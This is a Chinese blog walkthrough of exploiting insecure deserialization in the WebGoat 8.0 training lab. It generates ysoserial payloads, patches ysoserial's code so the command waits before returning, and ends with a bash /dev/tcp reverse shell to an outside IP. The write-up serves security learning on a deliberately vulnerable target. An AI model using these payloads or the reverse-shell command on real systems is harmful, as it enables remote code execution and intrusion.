Fork me on GitHub

Webgoat8.0反序列化获取shell

安装Webgoat靶场

1
2
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0

访问:192.168.58.147:8080/WebGoat,可直接访问则搭建成功,进去之后注册个账号。

解题分析

  • 查看题目

  • 反编译webgoat-server的jar包,查看BOOT-INF/lib/insecure-deserialization-8.0.0.M25.jar存在反序列化漏洞,且编码是base64url

  • 查看jar包的组件,groovy,hibernate-core,spring-core可能存在反序列化漏洞。

生成payload

使用hibernate-core 5生成payload

  • webgoat-server/BOOT-INF/lib下的hibernate-core.jar复制到ysoserial.jar同一目录
    1
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "touch /tmp/test" | base64 -w0

  • 将数据进行提交得到,利用成功

使用spring生成payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "touch /tmp/test1" | base64 -w0

  • 将数据进行提交,并没有利用成功

使用groovy生成payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/test1" | base64 -w0

  • 将数据进行提交,同样没有利用成功

1.jpg

解题过程

  • 题目要求是服务器睡眠5s,利用hibernate-core 5生成payload

    1
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "sleep 5" | base64 -w0
  • 并没有执行成功,查看进程已经执行,但是发现请求并非在执行sleep后并未等待命令结束就已经返回结果,需要将此处等待进程结束后返回,需要针对ysoserial的执行命令进行调整,重新生成payload进行测试。

  • ysoserial的生成Payload流程
  • 最终会进入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl()

  • 生成Payload的关键代码是箭头所指的地方。其中的command是攻击者输入。可以直接修改这个cmd为我们的命令。

    1
    2
    String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"sleep 5\"}).waitFor();";
    clazz.makeClassInitializer().insertAfter(cmd);
  • 然后运行mvn clean package -DskipTests重新编译ysoserial.jar

  • 使用下面的命令重新生成下,并将数据进行提交。
    1
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0

反弹shell

  • 同上可以直接修改这个cmd为我们的的反弹shell。

    1
    2
    String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/47.xxx.xxx.xxx.xxx/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
    clazz.makeClassInitializer().insertAfter(cmd);
  • 然后运行mvn clean package -DskipTests重新编译ysoserial.jar

  • 使用下面命令生成payload
    1
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0

  • 将数据进行提交,成功得到shell

参考文献:
https://blog.spoock.com/2018/10/31/reverse-shell-on-limited-environments/
https://www.jianshu.com/p/0c45058e1723

-------------本文结束感谢您的阅读-------------